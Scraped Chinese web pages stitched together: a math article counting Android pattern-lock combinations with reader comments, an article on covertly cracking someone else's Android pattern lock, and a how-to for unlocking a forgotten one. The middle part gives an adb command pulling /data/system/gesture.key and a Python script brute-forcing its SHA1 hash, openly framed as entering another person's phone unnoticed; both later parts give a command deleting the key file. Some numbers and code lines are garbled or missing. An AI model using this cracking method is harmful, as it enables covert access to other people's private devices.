智能手机的密码总共有多少种 | 科学人 | 果壳网 科技有意思
智能手机的密码总共有多少种
智能手机的密码总共有多少种?九宫格密码怎么破
本文作者:matrix67
智能手机掉了是一件很烦人的事,因为里面经常有一些秘密的文件,让不少朋友提心吊胆,只能寄希望于密码不让人破解了。前几天,死理性派编辑收到了一位读者的提问:在 iPhone 和 Android 系统中各有多少种可能的密码?这似乎是“生活中的数学”的一个绝佳案例,于是死理性派编辑打算立即动手开始计算。
iPhone 有10000种密码
iPhone 的密码是一个四位数,从 0000 到 9999 都有可能成为 iPhone 的密码,总的可能性有 10000 种。Android 系统则独具一格,它的“密码”是 3 × 3 的点阵中的一条路径,这条路径最少连接四个点,最多连接九个点。因而,符合要求的路径数最多可以达到 A(9, 4) + A(9, 5) + A(9, 6) + A(9, 7) + A(9, 8) + A(9, 9) = 985 824 种,看上去远远超过了 iPhone 的密码数。不过,这只是 Android 密码数的一个上限。Android 设置密码时有不少限制,这给死理性派的分析带来了巨大的障碍。仔细研究后,死理性派编辑发现----这恐怕是实际生活中最复杂的数学题之一了。
Android 有389 112 种密码
Android 的密码是 3 × 3 点阵中的一条路径,这条路径可以交叉,可以“走日字”,几乎是无所不能(只要不经过重复点),但却有一个例外:路径不允许跳过途中必须要经过的点。例如, 如果从左上角的点连接到右上角的点,中间的那个点会被自动地加进路径里。但麻烦就麻烦在,这个规则本身也有一个值得注意的地方:如果中间的点是之前已经用过的,那么这个点就可以被跳过去了。
我们不妨把点阵中的九个点分别用数字 1 到 9 编号。按照上述规则, 都是不合法的,但 2 则都是可行的。死理性派这下苦恼了,似乎五花八门的组合数学模型在这里都派不上用场。怎么办呢?别急,我们还有强大的计算机帮忙。下面,有请编辑最爱的数学软件 Mathematica 登场。
首先,让我们生成所有 985 824 种没有限制的排列组合:
再记下不能直接连接的点对:
由此生成不合法的排列规则:
从全部排列组合中删掉不合法的,便得到了所有可能的 Android 密码了:
Android 密码一共有多少种可能性呢?让我们来看看:
这样,我们就得到了一个准确的数字:在 Android 系统上一共有 389 112 种可能的密码,只占之前估计的密码数上限的 1/3 左右。
Android 的密码要连接 6 个点才够强
别以为 Android 的密码可能性这么多,你就能高枕无忧了。编辑身边绝大多数的 Android 用户,密码路径都只连接了四五个点。让我们来看一看,在 389 112 种可能的密码中,不同长度的密码各占多少:
可见,包含 4、5、6、7、8、9 个点的合法路径数分别为 、2、0704。如果你的密码路径连接的点数不到 6 个的话,可能的密码总数只有 1624 + 7152 = 8776 个,还不如iPhone的密码呢。
事实上,大多数用户的密码都是更简单的路径----路径不与自身相交,并且所有线段都是水平、竖直或者 45 度倾斜的。这种路径的数目就更少了。在此,死理性派编辑建议广大 Android 用户设定一些像 654192 一样的怪异路径,这样才算是一个足够强的密码。
你可能感兴趣
从前,有个小盆友忘记了密码路径,后来,他试了389112次,死了!
关于“Android 的密码要连接 6 个点才够强”有异议密码长度本身也是密码的一部分。
用NOKIA S40的路过...?(???)?
显示所有评论
全部评论(164)
用NOKIA S40的路过...?(???)?
上个星期就在想安卓手机有多少种密码,没想到果壳就写了,太棒了!
]黑莓 路过
从来不设密码的。。。密码经常迷自己……
从前,有个小盆友忘记了密码路径,后来,他试了389112次,死了!
表示偏好这样让8个方向的箭头都刚好出现一次的pattern..
医学硕士生
【再记下不能直接连接的点对】这一步骤中大概是最麻烦的了……比如说,13不能直接连,但是如果前面用过2,就可以直接连了=w=
1L的表情…………好喜感
,大家可以试试这个
iphone还有长密码模式 密码长度随意设置 这是本机自带的功能 四位数的密码只是属于“简单密码” 在设置里面即可看到
我觉得这种密码很有创意哈~改变了大家以往用数字作为密码的方式~什么生日啊,***啊,***号啊,都用烂了。。。想密码是件难事啊==!用图形作为密码,方便记忆而且更难破解哈~
没经过的点也是有办法从上方不触发的,像图中第一个方案是可以实现的啊
无机化学硕士生,DIY爱好者
悲剧的塞班用户默默飘过……
。。其实貌似很多人都是个L形状。。。一条竖线,,或者画个圈什么的。。。
这个很有意思,厉害
你不觉得更应该加塞班的吗
呃……为了好记,我手机密码一直是10086……
引用speranza的回应:从前,有个小盆友忘记了密码路径,后来,他试了389112次,死了!试太多会锁死吧,爱怕就是,我哥的爱怕就被我姨妈锁死过一次…………
9??的??力路?..
我一看见Mathematica,我就想起Matrix67,看一下作者,果然没错。
从来不设密码,因为手机不离身;一旦离身则Mobile Me追踪,直接武力夺回。
土木工程硕士生
真准备入手安卓手机????????
Mobile Me从未定位成功滴银飘过~~
连银行密码都能经常性遗忘的人坚定地飘过。
7个点的表示很好玩,但是解锁麻烦。另外,有人能把自己的密码路径忘记吗?
关于“Android 的密码要连接 6 个点才够强”有异议密码长度本身也是密码的一部分。
每次设定不把所有的点都连到就出死心的人路过不过安卓密码缺陷就在路过的人瞟一眼就记住你的密码路径了~话说,要怎么走日字?不是不可重复?~
如果iPhone在选项里关闭简单密码的话,种类会远远超过10000种。
显示所有评论
(C)2016果壳网&&&&京ICP证100430号&&&&京网文[-239号&&&&新出发京零字东150005号&&&&
违法和不良信息举报邮箱:&&&&举报***:如何破解安卓手机上的图形锁(九宫格锁)
安卓手机的图形锁(九宫格)是3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。但假如你想进入别人的手机,但又不想引起其警觉的话……你可以参考一下本文。
安卓手机的图形锁(九宫格)是3&3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。但假如你想进入别人的手机,但又不想引起其警觉的话&&你可以参考一下本文。
前提条件:手机需要root,而且打开调试模式。一般来讲,如果用过诸如&豌豆荚手机助手&、&360手机助手&一类的软件,都会被要求打开调试模式的。如果要删除手机内置软件,则需要将手机root。
首先科普一下,安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知,每个点都有其编号,组成了一个3&3的矩阵,形如:
假如设定解锁图形为一个&L&形。那么这几个点的排列顺序是这样的:00&03&06&07&08。系统就记下来了这一串数字,然后将这一串数字(以十六进制的方式)进行SHA1加密,存储在了手机里的/data/system/gesture.key&文件中。我们用数据线连接手机和电脑,然后ADB连接手机,将文件下载到电脑上(命令:adb pull /data/system/gesture.key gesture.key),如图:
用WinHex等十六进制编辑程序打开gesture.key,会发现文件内是SHA1加密过的字符串:c8c0b24a15dc8bbfd,如图:
当你下次解锁的时候,系统就对比你画的图案,看对应的数字串是不是对应的加密结果。如果是,就解锁;不是就继续保持锁定。那么,如果穷举所有的数字串排列,会有多少呢?联想到高中的阶乘,如果用4个点做解锁图形的话,就是9x8x7x6=3024种可能性,那5个点就是15120,6个点的话60480,7个点个点个点362880。总共是985824种可能性(但这么计算并不严密,因为同一条直线上的点只能和他们相邻的点相连)。
满打满算,也不到985824种可能性。乍一看很大,但在计算机面前,穷举出来这些东西用不了几秒钟。
知道了原理,就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)和itertools模块(Python内置,生成00-09的排列组合)。
主要流程为:
1.ADB连接手机,获取gesture.key文件
2.读取key文件,存入字符串str_A
3.生成全部可能的数字串
4.对这些数字串进行加密,得到字符串str_B
5.将字符串str_A与str_B进行对比
6.如果字符串A,B相同,则说明数字串num就是想要的解锁顺序
7.打印出数字串num
下面为程序:
# -*- coding: cp936 -*-
import itertools
import hashlib
import time
#调用cmd,ADB连接到手机,读取SHA1加密后的字符串
os.system("adb pull /data/system/gesture.key gesture.key")
time.sleep(5)
f=open('gesture.key','r')
pswd=f.readline()
pswd_hex=pswd.encode('hex')
print '加密后的密码为:%s'%pswd_hex
#生成解锁序列,得到['00','01','02','03','04','05','06','07','08']
for i in range(0,9):
str_temp = '0'+str(i)
matrix.append(str_temp)
#将00&&08的字符进行排列,至少取4个数排列,最多全部进行排列
max_num=len(matrix)
for num in range(min_num,max_num+1):#从04 -& 08
iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中
for el in list_m[0]:#遍历这n个数字的全部排列
strlist=''.join(el)#将list转换成str。[00,03,06,07,08]--&
strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密
if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
print '解锁密码为:',strlist
从程序本身来说,得到解锁密码后应该用break跳出循环并终止程序运行。但Python并没有跳出多重循环的语句,如果要跳出多重循环,只能设置标志位然后不停进行判定。为了运行速度就略去了&跳出循环&这个步骤。(有没有更好的实现跳出多重循环的方法?)另外也略去了很多容错语句。从破解目的来说,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后&adb rm /data/system/gesture.key&删除掉gesture.key文件,此时图形锁就失效了,随意画一下就能解锁。但本文开篇假设的是&为了不被察觉地进入到别人的手机里&,所以就有了这篇文章。
最后提一个安全小建议:
如果手机已root,还要用&XX手机助手&,还想设置图形锁的话&&在手机&设置&选项里,有一个&锁定状态下取消USB调试模式&(这个名字因手机而异,而且有的有此选项,有的手机就没有),开启此功能之后,在手机锁定状态下就能够防范此类攻击了。此文技术原理很简单,还望各位大大传授些高大上的Python编程技巧。
猜你感兴趣
最新图文推荐
大家感兴趣的内容
网友热评的文章手机九宫格密码忘了?不要紧我来教您开锁 (全文) - 手机技巧 - 电脑百事网
手机扫描二维码
手机九宫格密码忘了?不要紧我来教您开锁 (全文)
来源:本站整理
编辑:admin
我们需要有锁屏密码来保护我们的隐私,很多时候都会忘记密码的,有时候自然的遗忘,有时候给朋友或者小孩糊弄一通的将自己的密码设置了,结果悲剧发生了&&下面就为您介绍几种解决办法。
方案一:在电脑端访问 ,找回手机--锁定手机--输入新密码--锁定手机,之后在手机端输入刚才设定的密码,即可完成解锁(前提开了找回手机功能)。
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 输入密码!然后就可以进入系统了
方案二:使用小米账号或者谷歌账号解锁 (前提需绑定了小米账户或谷歌账户,并且手机处于联网状态。)
当你连续五六次输入密码错误后,就会提示下图:
直接点击&忘记密码&,之后选择账户(小米账户或者google账户)并输入密码,登陆即可完成解锁。
方案三:如果之前有打开未知来源和USB调解模式,你可以连接电脑通过91手机助手或者豌豆荚之类的软件来进行备份资料然后清除所有数据。如果你之前没有打开USB调解模式那么告诉你个很不幸的消息:你所有的资料都会丢失(实在不想丢失资料的话,可以通过方案四来解决,前提是你手机开启了USB调试)。清除所有资料的方式:关机,进入小米手机的recovery模式(注意:小米1/1s和小米2进recovery的操作有区别),清除所有数据,然后重新启动手机,不需要密码了。
方案四:连接电脑,下载附件里的ADB压缩包,把它解压到C盘根目录下,然后打开&运行&输入&CMD&,此时弹出指令窗 依次输入
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &打开CMD 输入cd c:adb
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 然后再输入adb root
提示:第一次输入adb root的时候并不会出现&adbd is already running as root&但是手机有了反应,这个时候要再次输入adb root才会出现下图情况)
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 再输入 adb shell rm /data/system/gesture.key(可复制粘贴)
进行到此步骤算是大功告成,可你看着锁屏依旧没有改变,不要慌!随便点一下解锁就进去了。